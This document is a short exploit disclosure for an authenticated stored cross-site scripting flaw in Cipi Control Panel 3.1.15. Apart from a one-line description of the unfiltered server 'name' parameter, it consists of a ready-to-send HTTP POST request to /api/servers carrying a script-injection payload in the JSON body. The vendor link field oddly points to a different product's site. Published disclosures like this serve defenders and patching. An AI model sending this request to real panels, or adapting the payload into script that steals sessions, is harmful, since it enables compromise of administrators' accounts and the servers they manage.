Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated)

# Exploit Title: Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 24.02.2022
# Exploit Author: Fikrat Ghuliev (Ghuliev)
# Vendor Homepage: https://cipi.sh/ <https://www.aapanel.com/>
# Software Link: https://cipi.sh/ <https://www.aapanel.com/>
# Version: 3.1.15
# Tested on: Ubuntu

When the user wants to add a new server on the "Server" panel, in "name"
parameter has not had any filtration.

POST /api/servers HTTP/1.1
Host: IP
Content-Length: 102
Accept: application/json
X-Requested-With: XMLHttpRequest
Authorization: Bearer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
Origin: http://IP
Referer: http://IP/servers
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
"name":"\"><script>alert(1337)</script>",
"ip":"10.10.10.10",
"provider":"local",
"location":"xss test"
}